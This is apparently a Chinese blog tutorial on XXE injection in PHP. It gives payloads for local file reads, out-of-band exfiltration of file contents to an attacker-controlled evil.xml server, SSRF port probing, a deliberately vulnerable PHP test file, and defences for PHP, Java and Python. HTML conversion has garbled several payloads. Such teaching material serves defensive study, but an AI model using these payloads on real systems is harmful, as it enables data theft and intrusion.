XXE漏洞分析


XXE即XML External Entity Injection,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml\\\_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml\\\_load_string() 

XML实体分为四种:字符实体,命名实体,外部实体,参数实体

1、命名实体写法:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY \\\[
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >\\\]>        
<value>&xxe;</value>

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY \\\[
<<img src="http://otherhost/xxxx.php" >\\\]>       " style="margin: auto" />
<value>&xxe;</value> 

可以用做xxe+ssrf2、命名实体+外部实体写法:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root \\\[
<<img src="http://localhost:88/evil.xml"" style="margin: auto" />
\\\]> 
<value>&dtd;</value> 

这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好用很多3、第一种命名实体+外部实体+参数实体写法:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data \\\[
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<<img src="http://localhost:88/evil.xml">" style="margin: auto" />
%dtd; %all; 
\\\]> 
<value>&send;</value> 

其中evil.xml文件内容为

 <<img src="http://localhost:88%file;'>">" style="margin: auto" />

调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send

第二种命名实体+外部实体+参数实体写法:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root \\\[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<<img src="http://localhost:88/evil.xml"" style="margin: auto" />
%dtd;
%send;
\\\]>
<root></root> 

其中evil.xml文件内容为:

<<img src="http://localhost:88/?content=%file;'>"> %payload;" style="margin: auto" />

调用过程和第一种方法类似

0x02.XXE攻击准备一个有XXE漏洞的文件

<?php
$xml=file\\\_get\\\_contents("php://input");
$data = simplexml\\\_load\\\_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?> 

xxe利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行POC主要有:

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php 

不同程序支持的协议不同

1、任意文件读取:

1).有直接回显的情况:可以看1、命名实体写法,根据实际情况替换相应代码利用即可,我本地测试照搬过来

2).无回显的情况:可以看3、第一种命名实体+外部实体+参数实体写法和第二种命名实体+外部实体+参数实体写法第一种写法结果如图:

c://test/1.txt文件内容为111111111,可以从apache的日志中看到

::1 - - \\\[23/Apr/2017:17:37:13 +0800\\\] "GET /111111111 HTTP/1.0" 404 207 

如果把http://localhost:88/evil.xml替换为一个远程服务器的xml文件地址,即可在日志中看到我们想要获取的数据

第二种写法结果如图:

2、内网信息探测利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果,例如我87关闭,88端口有web服务

有的没有明显的连接错误信息,所以无法判断端口的状态

3、DOS攻击实体的层层嵌套导致DOS,网上有poc4、远程命令执行PHP下需要expect扩展

0x03 踩过的坑

1.任意读取txt文件正常,读取php文件报错。因为php文件本身包含<等字符,利用php://filter的base64编码绕过php://filter/read=convert.base64-encode/resource=http://localhost:88/exponent/index.php2.第二种命名实体+外部实体+参数实体写法 中的evil.xml文件对

<<img src="http://localhost:88/?content=%file;'>"> %payload;" style="margin: auto" />

<<img src="http://localhost:88/?content=%file;'>"> %payload;" style="margin: auto" />

最里层的嵌套里必须为字符实体3.形参实体(就是带%的)只能在dtd(<!DOCTYPE ANY

)里面调用,其他实体要用’&‘开头,’;'结尾 4.不明白为什么无回显的情况下一定要三层实体嵌套才正确,二层嵌套就不对(evil.xml中直接写成<<img src="http://localhost:88/?content=%file;'>或是<!ENTITY send SYSTEM 'http://localhost:88/?content=%file;'>" style=“margin: auto” />

0x04.防御

PHP:libxml_disable_entity_loader(true);JAVA:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Python:from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

0x05 寻找XXE

1.检测xml是否被解析

<?xml version="1.0" encoding="ISO-8859-1"?>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>21</id>
</Prod>
</Prod> 

2.检测是否支持外部实体解析

<?xml version="1.0" encoding="ISO-8859-1"?>
<<img src="http://YOURIP/TEST.ext" >\\\]" style="margin: auto" />
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>&xxe</id>
</Prod>
</Prod> 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值